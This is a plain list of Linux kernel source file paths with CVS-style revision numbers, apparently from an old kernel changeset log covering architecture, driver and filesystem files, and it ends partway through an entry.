linux/arch/parisc/hpux/sys_hpux.c - 1.3 linux/arch/parisc/hpux/ioctl.c - 1.2 linux/arch/parisc/hpux/gate.S - 1.2 linux/arch/parisc/hpux/fs.c - 1.3 linux/arch/parisc/hpux/entry_hpux.S - 1.3 linux/arch/parisc/hpux/Makefile - 1.2 linux/arch/parisc/defconfig - 1.5 linux/arch/mips64/ld.script.elf32.S - 1.4 linux/arch/parisc/config.in - 1.3 linux/arch/parisc/Makefile - 1.2 linux/include/asm-parisc/timex.h - 1.2 linux/include/asm-parisc/termios.h - 1.4 linux/include/asm-parisc/system.h - 1.2 linux/include/asm-parisc/string.h - 1.2 linux/include/asm-parisc/socket.h - 1.4 linux/include/asm-parisc/softirq.h - 1.2 linux/arch/mips64/sgi-ip27/ip27-console.c - 1.3 linux/include/asm-parisc/spinlock.h - 1.3 linux/include/asm-parisc/stat.h - 1.2 linux/mm/shmem.c - 1.33 linux/drivers/atm/firestream.c - 1.11 linux/drivers/char/drm/r128_state.c - 1.3 linux/drivers/char/drm/r128_cce.c - 1.5 linux/arch/ia64/kernel/iosapic.c - 1.6 linux/arch/ia64/lib/swiotlb.c - 1.7 linux/arch/ia64/sn/io/Makefile - 1.4 linux/arch/ia64/sn/io/pci_dma.c - 1.5 linux/fs/reiserfs/stree.c - 1.16 linux/fs/reiserfs/super.c - 1.14 linux/fs/reiserfs/tail_conversion.c - 1.11 linux/fs/reiserfs/version.c - 1.2 linux/fs/reiserfs/resize.c - 1.5 linux/fs/reiserfs/prints.c - 1.11 linux/drivers/char/drm/radeon_cp.c - 1.6 linux/drivers/char/drm/radeon_drv.h - 1.4 linux/drivers/char/drm/radeon_state.c - 1.4 linux/fs/reiserfs/objectid.c - 1.10 linux/fs/reiserfs/namei.c - 1.16 linux/fs/reiserfs/lbalance.c - 1.7 linux/arch/sparc64/kernel/pci_schizo.c - 1.14 linux/fs/reiserfs/journal.c - 1.17 linux/fs/reiserfs/item_ops.c - 1.6 linux/fs/reiserfs/ioctl.c - 1.6 linux/fs/reiserfs/inode.c - 1.23 linux/fs/reiserfs/ibalance.c - 1.7 linux/fs/reiserfs/hashes.c - 1.4 linux/fs/reiserfs/fix_node.c - 1.14 linux/fs/reiserfs/file.c - 1.8 linux/fs/reiserfs/do_balan.c - 1.9 linux/fs/reiserfs/dir.c - 1.11 linux/fs/reiserfs/buffer2.c - 1.7 linux/include/linux/reiserfs_fs.h - 1.16 linux/include/linux/reiserfs_fs_i.h - 1.7 linux/include/linux/reiserfs_fs_sb.h - 1.10 linux/fs/reiserfs/bitmap.c - 1.11 linux/arch/ppc/kernel/proc_rtas.c - 1.3 linux/drivers/usb/storage/unusual_devs.h - 1.9 linux/arch/ppc/kernel/error_log.h - 1.3 linux/arch/ppc/kernel/error_log.c - 1.3 linux/arch/ppc/configs/power3_defconfig - 1.11 linux/arch/ppc/configs/ibmchrp_defconfig - 1.11 linux/arch/s390x/kernel/traps.c - 1.7 linux/arch/s390x/kernel/time.c - 1.6 linux/arch/s390x/kernel/sys_s390.c - 1.4 linux/arch/s390x/kernel/smp.c - 1.10 linux/include/asm-s390x/processor.h - 1.7 linux/include/asm-s390x/pgtable.h - 1.6 linux/include/asm-s390x/pgalloc.h - 1.4 linux/arch/s390x/kernel/signal.c - 1.6 linux/arch/s390x/kernel/setup.c - 1.8 linux/include/asm-s390x/page.h - 1.6 linux/Documentation/sound/Maestro3 - 1.2 linux/include/asm-s390x/lowcore.h - 1.7 linux/include/asm-s390x/irq.h - 1.7 linux/include/asm-s390x/elf.h - 1.3 linux/arch/s390x/kernel/s390_ksyms.c - 1.7 linux/arch/s390x/kernel/s390_ext.c - 1.4 linux/include/asm-s390x/s390_ext.h - 1.2 linux/drivers/sound/maestro3.c - 1.10 linux/include/asm-s390x/s390io.h - 1.3 linux/include/asm-s390x/s390mach.h - 1.2 linux/arch/s390x/kernel/ptrace.c - 1.8 linux/arch/s390x/kernel/process.c - 1.9 linux/arch/s390x/kernel/head.S - 1.7 linux/include/asm-s390x/semaphore.h - 1.3 linux/include/asm-s390x/setup.h - 1.5 linux/include/asm-s390x/sigp.h - 1.5 linux/drivers/s390/s390mach.c - 1.5 linux/arch/cris/config.in - 1.9 linux/arch/cris/drivers/Config.in - 1.8 linux/arch/cris/drivers/Makefile - 1.5 linux/arch/cris/drivers/serial.c - 1.12 linux/arch/cris/kernel/Makefile - 1.9 linux/arch/cris/kernel/kgdb.c - 1.5 linux/arch/cris/kernel/setup.c - 1.11 linux/arch/cris/kernel/traps.c - 1.9 linux/arch/cris/mm/fault.c - 1.9 linux/drivers/s390/s390io.c - 1.9 linux/drivers/s390/net/netiucv.c - 1.11 linux/include/asm-s390x/smp.h - 1.4 linux/arch/s390x/kernel/entry.S - 1.13 linux/arch/s390x/kernel/debug.c - 1.7 linux/arch/s390x/kernel/Makefile - 1.6 linux/arch/s390x/defconfig - 1.11 linux/arch/s390x/config.in - 1.7 linux/arch/s390x/mm/init.c - 1.7 linux/arch/s390x/mm/fault.c - 1.9 linux/include/asm-s390x/spinlock.h - 1.7 linux/include/asm-s390x/system.h - 1.5 linux/include/asm-s390x/timex.h - 1.4 linux/include/asm-cris/timex.h - 1.5 linux/include/asm-cris/termios.h - 1.4 linux/include/asm-cris/semaphore.h - 1.4 linux/include/asm-s390/s390_ext.h - 1.2 linux/drivers/net/pci-skeleton.c - 1.11 linux/include/asm-cris/rtc.h - 1.3 linux/arch/s390/kernel/debug.c - 1.7 linux/include/asm-cris/pgtable.h - 1.7 linux/arch/s390/kernel/s390_ext.c - 1.4 linux/drivers/md/lvm-internal.h - 1.5 linux/drivers/md/lvm-fs.c - 1.7 linux/include/asm-sparc64/dcr.h - 1.2 linux/include/asm-ppc/tqm8xx.h - 1.6 linux/include/asm-ppc/spd8xx.h - 1.5 linux/include/asm-ppc/ivms8.h - 1.5 linux/drivers/usb/serial/io_usbvend.h - 1.7 linux/drivers/usb/serial/io_tables.h - 1.4 linux/drivers/usb/serial/io_ionsp.h - 1.2 linux/drivers/usb/serial/io_fw_down2.h - 1.2 linux/drivers/usb/serial/io_fw_down.h - 1.2 linux/drivers/usb/serial/io_fw_boot2.h - 1.2 linux/drivers/usb/serial/io_fw_boot.h - 1.2 linux/drivers/usb/serial/io_edgeport.h - 1.3 linux/drivers/usb/serial/io_edgeport.c - 1.17 linux/drivers/scsi/aic7xxx_old/aic7xxx.h - 1.2 linux/drivers/scsi/aic7xxx/aic7xxx_proc.c - 1.6 linux/drivers/scsi/aic7xxx/aic7xxx_pci.c - 1.6 linux/drivers/scsi/aic7xxx/aic7770.c - 1.6 linux/drivers/char/machzwd.c - 1.7 linux/drivers/char/advantechwdt.c - 1.6 linux/arch/ppc/configs/TQM860L_defconfig - 1.11 linux/arch/ppc/configs/TQM850L_defconfig - 1.10 linux/arch/ppc/configs/TQM823L_defconfig - 1.10 linux/arch/ppc/configs/SPD823TS_defconfig - 1.10 linux/arch/ppc/configs/SM850_defconfig - 1.10 linux/arch/ppc/configs/IVMS8_defconfig - 1.11 linux/arch/mips/math-emu/sp_tint.c - 1.3 linux/drivers/net/wan/sdla_ft1.c - 1.5 linux/drivers/s390/char/tuball.c - 1.6 linux/drivers/s390/char/tubfs.c - 1.4 linux/drivers/s390/char/tubio.h - 1.5 linux/drivers/s390/char/tubtty.c - 1.6 linux/drivers/s390/char/tubttybld.c - 1.3 linux/drivers/net/gt96100eth.c - 1.6 linux/Documentation/s390/3270.ChangeLog - 1.2 linux/arch/sparc64/kernel/chmc.c - 1.2 linux/include/asm-cris/etraxgpio.h - 1.6 linux/include/asm-i386/rwsem.h - 1.4 linux/include/asm-ia64/kregs.h - 1.3 linux/include/asm-ia64/perfmon.h - 1.4 linux/arch/mips/mips-boards/malta/malta_setup.c - 1.5 linux/arch/mips/mips-boards/malta/malta_int.c - 1.5 linux/arch/mips/mips-boards/malta/Makefile - 1.3 linux/arch/mips/mips-boards/generic/time.c - 1.5 linux/arch/mips/mips-boards/generic/printf.c - 1.3 linux/arch/mips/mips-boards/generic/pci.c - 1.4 linux/arch/mips/mips-boards/generic/mipsIRQ.S - 1.3 linux/arch/mips/mips-boards/generic/memory.c - 1.3 linux/arch/mips/mips-boards/generic/init.c - 1.4 linux/net/ipv4/netfilter/ip_nat_helper.c - 1.4 linux/arch/mips/mips-boards/generic/gdb_hook.c - 1.4 linux/arch/mips/mips-boards/generic/display.c - 1.2 linux/arch/mips/mips-boards/generic/Makefile - 1.4 linux/arch/mips/mips-boards/atlas/atlas_setup.c - 1.5 linux/arch/mips/mips-boards/atlas/atlas_int.c - 1.4 linux/arch/mips/mips-boards/atlas/Makefile - 1.3 linux/arch/mips/math-emu/sp_tlong.c - 1.3 linux/arch/mips/math-emu/sp_sub.c - 1.3 linux/arch/mips/math-emu/sp_modf.c - 1.2 linux/arch/mips/math-emu/sp_frexp.c - 1.2 linux/arch/mips/math-emu/sp_flong.c - 1.2 linux/arch/mips/math-emu/sp_fint.c - 1.2 linux/arch/mips/math-emu/sp_fdp.c - 1.3 linux/arch/mips/math-emu/sp_div.c - 1.3 linux/arch/mips/math-emu/sp_cmp.c - 1.3 linux/arch/mips/math-emu/sp_add.c - 1.3 linux/arch/cris/drivers/gpio.c - 1.8 linux/arch/cris/drivers/i2c.c - 1.3 linux/arch/mips/math-emu/kernel_linkage.c - 1.3 linux/arch/mips/math-emu/ieee754xcpt.c - 1.2 linux/arch/mips/math-emu/ieee754sp.h - 1.2 linux/arch/cris/drivers/sync_serial.c - 1.5 linux/arch/cris/drivers/usb-host.c - 1.10 linux/arch/mips/math-emu/ieee754sp.c - 1.3 linux/arch/mips/math-emu/ieee754int.h - 1.3 linux/arch/mips/math-emu/ieee754dp.h - 1.2 linux/arch/mips/math-emu/ieee754dp.c - 1.3 linux/arch/mips/math-emu/ieee754d.c - 1.3 linux/arch/mips/math-emu/ieee754.h - 1.3 linux/arch/mips/math-emu/ieee754.c - 1.3 linux/arch/mips/math-emu/dp_tlong.c - 1.3 linux/arch/mips/math-emu/dp_tint.c - 1.3 linux/arch/mips/math-emu/dp_sub.c - 1.4 linux/arch/mips/math-emu/dp_sqrt.c - 1.3 linux/arch/cris/lib/dram_init.S - 1.7 linux/lib/rwsem-spinlock.c - 1.2 linux/arch/mips/math-emu/dp_mul.c - 1.3 linux/arch/mips/math-emu/dp_modf.c - 1.2 linux/arch/mips/math-emu/dp_fsp.c - 1.3 linux/arch/mips/math-emu/dp_frexp.c - 1.2 linux/arch/mips/math-emu/dp_flong.c - 1.2 linux/arch/mips/math-emu/dp_div.c - 1.3 linux/arch/mips/math-emu/dp_cmp.c - 1.3 linux/arch/mips/math-emu/dp_add.c - 1.3 linux/arch/mips/math-emu/cp1emu.c - 1.6 linux/arch/mips/math-emu/Makefile - 1.3 linux/arch/mips/defconfig-ddb5476 - 1.4 linux/arch/mips/arc/arc_con.c - 1.2 linux/arch/ia64/kernel/efivars.c - 1.6 linux/include/asm-sparc64/rwsem.h - 1.3 linux/include/linux/rwsem-spinlock.h - 1.3 linux/include/linux/rwsem.h - 1.3 linux/include/asm-ppc/ppc4xx.h - 1.2 linux/include/asm-ppc/rpxhiox.h - 1.2 linux/include/asm-ppc/rwsem.h - 1.2 linux/drivers/net/fealnx.c - 1.12 linux/drivers/net/irda/irda-usb.c - 1.12 linux/arch/ppc/kernel/apus_pci.h - 1.2 linux/arch/ppc/kernel/apus_pci.c - 1.4 linux/drivers/net/wireless/Config.in - 1.5 linux/include/linux/mii.h - 1.5 linux/arch/ppc/boot/prep/head.S - 1.4 linux/arch/cris/drivers/ds1302.c - 1.5 linux/arch/cris/lib/hw_settings.S - 1.3 linux/arch/ppc/boot/common/misc-simple.c - 1.5 linux/arch/ppc/boot/common/crt0.S - 1.4 linux/drivers/usb/pwc-if.c - 1.10 linux/include/asm-m68k/raw_io.h - 1.3 linux/include/net/bluetooth/hci.h - 1.5 linux/include/net/bluetooth/hci_core.h - 1.6 linux/drivers/bluetooth/hci_usb.c - 1.6 linux/drivers/bluetooth/Makefile - 1.4 linux/drivers/bluetooth/Config.in - 1.4 linux/arch/m68k/sun3x/prom.c - 1.3 linux/net/bluetooth/Config.in - 1.3 linux/net/bluetooth/Makefile - 1.3 linux/net/bluetooth/af_bluetooth.c - 1.6 linux/net/bluetooth/hci_core.c - 1.9 linux/net/bluetooth/hci_sock.c - 1.5 linux/drivers/mtd/maps/Makefile - 1.4 linux/drivers/mtd/maps/Config.in - 1.5 linux/drivers/mtd/devices/Makefile - 1.3 linux/drivers/mtd/devices/Config.in - 1.3 linux/drivers/acpi/executer/exstore.c - 1.4 linux/drivers/acpi/utilities/utdebug.c - 1.4 linux/drivers/acpi/ospm/busmgr/bm_osl.c - 1.6 linux/drivers/acpi/ospm/system/sm_osl.c - 1.6 linux/drivers/acpi/ospm/thermal/tzpolicy.c - 1.4 linux/drivers/net/wireless/airo_cs.c - 1.4 linux/drivers/usb/catc.c - 1.6 linux/drivers/usb/serial/pl2303.h - 1.3 linux/drivers/net/wireless/airo.c - 1.13 linux/drivers/acpi/include/platform/acgcc.h - 1.6 linux/drivers/acpi/include/platform/aclinux.h - 1.3 linux/drivers/acpi/ospm/ec/ectransx.c - 1.3 linux/drivers/usb/se401.c - 1.7 linux/drivers/acorn/char/mouse_ps2.c - 1.4 linux/drivers/usb/se401.h - 1.3 linux/drivers/usb/serial/cyberjack.c - 1.8 linux/drivers/usb/serial/pl2303.c - 1.8 linux/arch/mips64/math-emu/sp_frexp.c - 1.2 linux/include/asm-mips/time.h - 1.4 linux/include/asm-mips/riscos-syscall.h - 1.2 linux/arch/mips64/math-emu/sp_tlong.c - 1.2 linux/arch/mips64/math-emu/sp_tint.c - 1.2 linux/arch/mips64/math-emu/sp_sub.c - 1.2 linux/arch/mips64/math-emu/sp_sqrt.c - 1.2 linux/arch/mips64/math-emu/sp_simple.c - 1.2 linux/arch/mips64/math-emu/sp_scalb.c - 1.2 linux/arch/mips64/math-emu/sp_mul.c - 1.2 linux/arch/mips64/math-emu/sp_modf.c - 1.2 linux/arch/mips64/math-emu/sp_logb.c - 1.2 linux/arch/mips64/math-emu/sp_flong.c - 1.2 linux/arch/mips64/math-emu/sp_fint.c - 1.2 linux/arch/mips64/math-emu/sp_fdp.c - 1.2 linux/arch/mips64/math-emu/sp_div.c - 1.2 linux/arch/mips64/math-emu/sp_cmp.c - 1.2 linux/arch/mips64/math-emu/sp_add.c - 1.2 linux/arch/mips64/math-emu/kernel_linkage.c - 1.2 linux/arch/mips64/math-emu/ieee754xcpt.c - 1.2 linux/arch/mips64/math-emu/ieee754sp.h - 1.2 linux/arch/mips64/math-emu/ieee754sp.c - 1.2 linux/arch/mips64/math-emu/ieee754m.c - 1.2 linux/arch/mips64/math-emu/ieee754int.h - 1.2 linux/arch/mips/kernel/i8259.c - 1.4 linux/arch/mips64/math-emu/ieee754dp.h - 1.2 linux/arch/mips64/math-emu/ieee754dp.c - 1.2 linux/arch/mips/kernel/old-irq.c - 1.4 linux/arch/mips/kernel/old-time.c - 1.4 linux/arch/mips/kernel/pci-dma.c - 1.4 linux/arch/mips64/math-emu/ieee754d.c - 1.2 linux/arch/mips64/math-emu/ieee754.h - 1.2 linux/arch/mips64/math-emu/ieee754.c - 1.2 linux/arch/mips64/math-emu/dp_tlong.c - 1.2 linux/arch/mips64/math-emu/dp_tint.c - 1.2 linux/include/asm-mips/mips32_cache.h - 1.3 linux/arch/mips64/math-emu/dp_sub.c - 1.2 linux/arch/mips64/math-emu/dp_sqrt.c - 1.2 linux/arch/mips64/math-emu/dp_simple.c - 1.2 linux/arch/mips64/math-emu/dp_scalb.c - 1.2 linux/arch/mips/kernel/smp.c - 1.6 linux/arch/mips64/math-emu/dp_mul.c - 1.2 linux/include/asm-mips/pmc/ev64120.h - 1.2 linux/include/asm-mips/pmc/ev64120int.h - 1.2 linux/arch/ppc/mm/hashtable.S - 1.3 linux/arch/mips64/math-emu/dp_modf.c - 1.2 linux/arch/mips64/math-emu/dp_logb.c - 1.2 linux/arch/mips64/math-emu/dp_fsp.c - 1.2 linux/arch/mips64/math-emu/Makefile - 1.2 linux/arch/mips64/math-emu/dp_frexp.c - 1.2 linux/arch/mips64/math-emu/dp_flong.c - 1.2 linux/arch/mips64/math-emu/dp_fint.c - 1.2 linux/arch/mips64/math-emu/dp_cmp.c - 1.2 linux/arch/mips64/math-emu/cp1emu.c - 1.4 linux/arch/mips64/math-emu/dp_add.c - 1.2 linux/arch/mips64/math-emu/dp_div.c - 1.2 linux/drivers/net/irda/ali-ircc.c - 1.8 linux/arch/mips64/arc/arc_con.c - 1.3 linux/arch/mips/mm/ioremap.c - 1.3 linux/include/asm-mips64/rrm.h - 1.2 linux/Documentation/video4linux/meye.txt - 1.4 linux/drivers/char/sonypi.h - 1.8 linux/drivers/media/video/meye.c - 1.7 linux/drivers/media/video/zoran_procfs.c - 1.2 linux/drivers/media/video/zr36067.c - 1.8 linux/drivers/net/au1000_eth.c - 1.7 linux/drivers/net/au1000_eth.h - 1.4 linux/include/linux/sonypi.h - 1.5 linux/drivers/char/w83877f_wdt.c - 1.6 linux/include/asm-alpha/rwsem.h - 1.3 linux/drivers/net/dl2k.h - 1.8 linux/Documentation/networking/dl2k.txt - 1.7 linux/drivers/net/dl2k.c - 1.11 linux/drivers/message/fusion/mptscsih.h - 1.3 linux/drivers/message/fusion/mptscsih.c - 1.6 linux/drivers/message/fusion/mptlan.c - 1.6 linux/drivers/message/fusion/mptctl.c - 1.7 linux/drivers/message/fusion/mptbase.h - 1.6 linux/drivers/message/fusion/mptbase.c - 1.6 linux/drivers/message/fusion/Makefile - 1.4 linux/drivers/message/fusion/linux_compat.h - 1.4 linux/drivers/ieee1394/sbp2.c - 1.11 linux/drivers/ieee1394/sbp2.h - 1.9 linux/drivers/ieee1394/nodemgr.c - 1.12 linux/fs/partitions/ldm.h - 1.6 linux/fs/partitions/ldm.c - 1.6 linux/drivers/video/aty/atyfb.h - 1.2 linux/drivers/video/aty/atyfb_base.c - 1.10 linux/drivers/char/drm/drm_ioctl.h - 1.3 linux/drivers/char/drm/mga_warp.c - 1.2 linux/drivers/char/drm/drm_vm.h - 1.9 linux/drivers/char/drm/drm_stub.h - 1.2 linux/drivers/char/drm/drm_scatter.h - 1.4 linux/drivers/char/drm/drm_proc.h - 1.3 linux/drivers/char/drm/drm_memory.h - 1.2 linux/drivers/char/drm/drm_lock.h - 1.2 linux/drivers/char/drm/drm_lists.h - 1.2 linux/drivers/char/drm/drm_init.h - 1.2 linux/drivers/char/drm/drm_fops.h - 1.2 linux/drivers/char/drm/drm_drv.h - 1.4 linux/drivers/char/drm/drm_drawable.h - 1.2 linux/drivers/char/drm/drm_dma.h - 1.2 linux/drivers/char/drm/drm_context.h - 1.5 linux/drivers/char/drm/drm_bufs.h - 1.2 linux/drivers/char/drm/drm_auth.h - 1.2 linux/drivers/char/drm/drm_agpsupport.h - 1.5 linux/drivers/char/drm/ati_pcigart.h - 1.6 linux/drivers/sound/btaudio.c - 1.9 linux/drivers/usb/CDCEther.c - 1.7 linux/drivers/usb/CDCEther.h - 1.4 linux/drivers/usb/kaweth.c - 1.9 linux/arch/alpha/kernel/srm_env.c - 1.4 linux/arch/arm/mach-integrator/cpu.c - 1.3 linux/arch/arm/mach-sa1100/generic.c - 1.4 linux/drivers/tc/lk201-map.map - 1.2 linux/drivers/tc/lk201-remap.c - 1.2 linux/drivers/tc/lk201.c - 1.3 linux/drivers/tc/lk201.h - 1.3 linux/drivers/usb/usbnet.c - 1.11 linux/arch/ppc/mm/mmu_decl.h - 1.4 linux/arch/ppc/mm/ppc_mmu.c - 1.5 linux/arch/ppc/kernel/pmac_smp.c - 1.5 linux/include/asm-ppc/cputable.h - 1.3 linux/arch/ppc/kernel/l2cr.S - 1.4 linux/arch/ppc/kernel/cputable.c - 1.6 linux/arch/ppc/kernel/chrp_smp.c - 1.4 linux/drivers/video/tx3912fb.h - 1.3 linux/drivers/video/tx3912fb.c - 1.3 linux/drivers/video/sstfb.h - 1.5 linux/drivers/video/sstfb.c - 1.8 linux/drivers/video/radeonfb.c - 1.12 linux/drivers/video/radeon.h - 1.5 linux/drivers/usb/usbvideo.h - 1.4 linux/drivers/usb/usbvideo.c - 1.5 linux/drivers/scsi/dpt_i2o.c - 1.7 linux/arch/sh/kernel/pcibios.c - 1.2 linux/arch/mips64/sgi-ip32/ip32-timer.c - 1.4 linux/arch/mips64/sgi-ip32/ip32-setup.c - 1.4 linux/arch/mips64/sgi-ip32/ip32-rtc.c - 1.2 linux/arch/mips64/sgi-ip32/ip32-pci.c - 1.4 linux/arch/mips64/sgi-ip32/ip32-irq.c - 1.3 linux/arch/mips64/sgi-ip32/ip32-irq-glue.S - 1.2 linux/arch/mips/au1000/common/Makefile - 1.3 linux/arch/mips/au1000/common/dbg_io.c - 1.3 linux/arch/mips/au1000/common/int-handler.S - 1.3 linux/arch/mips/au1000/common/irq.c - 1.3 linux/arch/mips/au1000/common/prom.c - 1.3 linux/arch/mips/au1000/common/reset.c - 1.3 linux/arch/mips/au1000/common/serial.c - 1.4 linux/arch/mips/au1000/common/time.c - 1.3 linux/arch/mips/au1000/pb1000/Makefile - 1.3 linux/arch/mips/au1000/pb1000/init.c - 1.3 linux/arch/mips/au1000/pb1000/setup.c - 1.3 linux/include/asm-mips/linux_logo_dec.h - 1.3 linux/arch/mips64/sgi-ip32/ip32-berr.c - 1.3 linux/arch/mips64/sgi-ip32/crime.c - 1.3 linux/arch/mips64/sgi-ip32/Makefile - 1.4 linux/arch/mips/ddb5xxx/common/Makefile - 1.3 linux/arch/mips/ddb5xxx/common/irq.c - 1.3 linux/arch/mips/ddb5xxx/common/nile4.c - 1.3 linux/arch/mips/ddb5xxx/common/prom.c - 1.3 linux/arch/mips/ddb5xxx/common/rtc_ds1386.c - 1.3 linux/arch/mips/ddb5xxx/ddb5477/Makefile - 1.3 linux/arch/mips/ddb5xxx/ddb5477/debug.c - 1.3 linux/arch/mips/ddb5xxx/ddb5477/int-handler.S - 1.2 linux/arch/mips/ddb5xxx/ddb5477/irq.c - 1.3 linux/arch/mips/ddb5xxx/ddb5477/irq_5477.c - 1.3 linux/arch/mips/ddb5xxx/ddb5477/pci.c - 1.3 linux/arch/mips/ddb5xxx/ddb5477/pci_ops.c - 1.3 linux/arch/mips/ddb5xxx/ddb5477/setup.c - 1.3 linux/include/asm-mips64/mips-boards/malta.h - 1.3 linux/include/asm-mips64/mips-boards/gt64120.h - 1.2 linux/include/asm-mips64/mips-boards/atlasint.h - 1.2 linux/include/asm-mips64/mips-boards/atlas.h - 1.2 linux/arch/mips/defconfig-atlas - 1.4 linux/arch/mips/defconfig-ddb5477 - 1.3 linux/arch/mips/defconfig-malta - 1.4 linux/arch/mips/defconfig-pb1000 - 1.4 linux/include/asm-mips/pci_channel.h - 1.2 linux/arch/mips/gt64120/common/pci.c - 1.2 linux/include/asm-mips/mips-boards/malta.h - 1.3 linux/include/asm-mips/mips-boards/atlasint.h - 1.2 linux/include/asm-mips/mips-boards/atlas.h - 1.2 linux/arch/mips/kernel/pci_auto.c - 1.3 linux/drivers/isdn/hisax/st5481.h - 1.3 linux/drivers/isdn/hisax/st5481_d.c - 1.5 linux/drivers/isdn/hisax/st5481_usb.c - 1.5 linux/drivers/net/ns83820.c - 1.11 linux/drivers/scsi/53c700.c - 1.5 linux/arch/mips64/defconfig-ip32 - 1.4 linux/drivers/scsi/lasi700.c - 1.4 linux/include/asm-mips/gt64120.h - 1.2 linux/include/asm-mips/ddb5xxx/ddb5477.h - 1.3 linux/include/asm-mips/ddb5xxx/ddb5xxx.h - 1.3 linux/drivers/isdn/hisax/hisax_debug.h - 1.3 linux/include/asm-mips/au1000.h - 1.3 linux/drivers/usb/hid-core.c - 1.6 linux/drivers/usb/hid-input.c - 1.3 linux/include/linux/hiddev.h - 1.3 linux/fs/jffs2/Makefile - 1.3 linux/fs/jffs2/compr_zlib.c - 1.3 linux/fs/jffs2/dir.c - 1.5 linux/fs/jffs2/file.c - 1.4 linux/fs/jffs2/gc.c - 1.4 linux/fs/jffs2/nodelist.c - 1.5 linux/fs/jffs2/nodelist.h - 1.4 linux/fs/jffs2/readinode.c - 1.4 linux/fs/jffs2/scan.c - 1.4 linux/fs/jffs2/super.c - 1.4 linux/fs/jffs2/write.c - 1.4 linux/fs/jffs2/zlib.c - 1.3 linux/fs/jffs2/zlib.h - 1.2 linux/drivers/net/pcmcia/xircom_cb.c - 1.6 linux/drivers/ide/ataraid.c - 1.4 linux/drivers/char/mwave/smapi.c - 1.2 linux/drivers/mtd/devices/blkmtd.c - 1.4 linux/include/asm-i386/smpboot.h - 1.2 linux/fs/namespace.c - 1.12 linux/drivers/usb/hpusbscsi.c - 1.4 linux/drivers/net/wireless/orinoco_plx.c - 1.7 linux/drivers/usb/serial/ir-usb.c - 1.6 linux/drivers/usb/serial/keyspan_usa28xb_fw.h - 1.2 linux/drivers/usb/serial/keyspan_usa28xa_fw.h - 1.2 linux/drivers/char/ib700wdt.c - 1.3 linux/drivers/message/i2o/i2o_pci.c - 1.6 linux/drivers/message/i2o/i2o_core.c - 1.7 linux/drivers/message/i2o/README.ioctl - 1.2 linux/drivers/char/shwdt.c - 1.4 linux/Documentation/video4linux/bttv/Tuners - 1.2 linux/Documentation/video4linux/bttv/Cards - 1.3 linux/drivers/net/8139cp.c - 1.8 linux/drivers/atm/lanai.c - 1.2 linux/drivers/char/eurotechwdt.c - 1.4 linux/drivers/pcmcia/i82092.c - 1.4 linux/fs/inflate_fs/Makefile - 1.2 linux/fs/inflate_fs/adler32.c - 1.2 linux/fs/inflate_fs/infblock.c - 1.2 linux/fs/inflate_fs/infblock.h - 1.2 linux/fs/inflate_fs/infcodes.c - 1.2 linux/fs/inflate_fs/infcodes.h - 1.2 linux/fs/inflate_fs/inffast.c - 1.2 linux/fs/inflate_fs/inffast.h - 1.2 linux/fs/inflate_fs/inffixed.h - 1.2 linux/fs/inflate_fs/inflate.c - 1.2 linux/fs/inflate_fs/inflate_syms.c - 1.3 linux/fs/inflate_fs/inftrees.c - 1.2 linux/fs/inflate_fs/inftrees.h - 1.2 linux/fs/inflate_fs/infutil.c - 1.2 linux/fs/inflate_fs/infutil.h - 1.2 linux/fs/inflate_fs/zconf.h - 1.2 linux/fs/inflate_fs/zutil.h - 1.2 linux/fs/isofs/compress.c - 1.3 linux/net/ipv6/netfilter/ip6t_LOG.c - 1.3 linux/net/ipv4/netfilter/ip_nat_snmp_basic.c - 1.2 linux/net/ipv4/netfilter/ip_nat_irc.c - 1.3 linux/net/ipv4/netfilter/ip_conntrack_irc.c - 1.4 linux/net/8021q/vlanproc.c - 1.5 linux/net/8021q/vlan_dev.c - 1.4 linux/net/8021q/vlan.c - 1.4 linux/include/linux/netfilter_ipv4/ip_conntrack_irc.h - 1.2 linux/include/linux/if_vlan.h - 1.3 linux/drivers/char/i8k.c - 1.3 linux/include/linux/zlib_fs.h - 1.2 linux/fs/jbd/journal.c - 1.5 linux/drivers/scsi/sym53c8xx_2/sym53c8xx.h - 1.3 linux/drivers/scsi/sym53c8xx_2/sym_fw1.h - 1.2 linux/drivers/scsi/sym53c8xx_2/sym_fw2.h - 1.2 linux/drivers/scsi/sym53c8xx_2/sym_glue.c - 1.3 linux/drivers/scsi/sym53c8xx_2/sym_malloc.c - 1.2 linux/drivers/video/sis/300vtbl.h - 1.4 linux/drivers/video/sis/310vtbl.h - 1.4 linux/drivers/video/sis/325vtbl.h - 1.3 linux/drivers/video/sis/init.c - 1.4 linux/drivers/video/sis/init.h - 1.4 linux/drivers/video/sis/init301.c - 1.4 linux/drivers/video/sis/init301.h - 1.4 linux/drivers/video/sis/oem300.h - 1.4 linux/drivers/video/sis/oem310.h - 1.4 linux/drivers/video/sis/osdef.h - 1.3 linux/drivers/video/sis/sis_main.h - 1.4 linux/drivers/video/sis/vgatypes.h - 1.4 linux/drivers/video/sis/vstruct.h - 1.3 linux/fs/ext3/file.c - 1.3 linux/fs/ext3/fsync.c - 1.3 linux/fs/ext3/ialloc.c - 1.3 linux/fs/ext3/inode.c - 1.5 linux/fs/ext3/ioctl.c - 1.2 linux/fs/ext3/namei.c - 1.2 linux/fs/ext3/super.c - 1.4 linux/fs/intermezzo/ext_attr.c - 1.3 linux/fs/intermezzo/file.c - 1.3 linux/fs/intermezzo/inode.c - 1.3 linux/fs/intermezzo/journal.c - 1.5 linux/drivers/hotplug/pci_hotplug_core.c - 1.4 linux/drivers/hotplug/pci_hotplug.h - 1.2 linux/drivers/hotplug/cpqphp_pci.c - 1.2 linux/drivers/hotplug/cpqphp_nvram.c - 1.2 linux/drivers/hotplug/cpqphp_ctrl.c - 1.3 linux/drivers/hotplug/cpqphp_core.c - 1.3 linux/drivers/hotplug/cpqphp.h - 1.2 linux/drivers/hotplug/Makefile - 1.3 linux/fs/intermezzo/journal_ext2.c - 1.2 linux/fs/intermezzo/journal_ext3.c - 1.2 linux/fs/intermezzo/journal_obdfs.c - 1.2 linux/fs/intermezzo/journal_reiserfs.c - 1.2 linux/fs/intermezzo/journal_xfs.c - 1.4 linux/drivers/char/hp_psaux.c - 1.2 linux/drivers/char/hp_keyb.c - 1.2 linux/fs/intermezzo/kml.c - 1.4 linux/fs/intermezzo/kml_decode.c - 1.2 linux/fs/intermezzo/kml_reint.c - 1.2 linux/fs/intermezzo/kml_setup.c - 1.2 linux/fs/intermezzo/kml_utils.c - 1.2 linux/fs/intermezzo/methods.c - 1.4 linux/fs/intermezzo/presto.c - 1.4 linux/fs/intermezzo/psdev.c - 1.7 linux/fs/intermezzo/super.c - 1.4 linux/fs/intermezzo/sysctl.c - 1.2 linux/fs/intermezzo/upcall.c - 1.2 linux/include/linux/jbd.h - 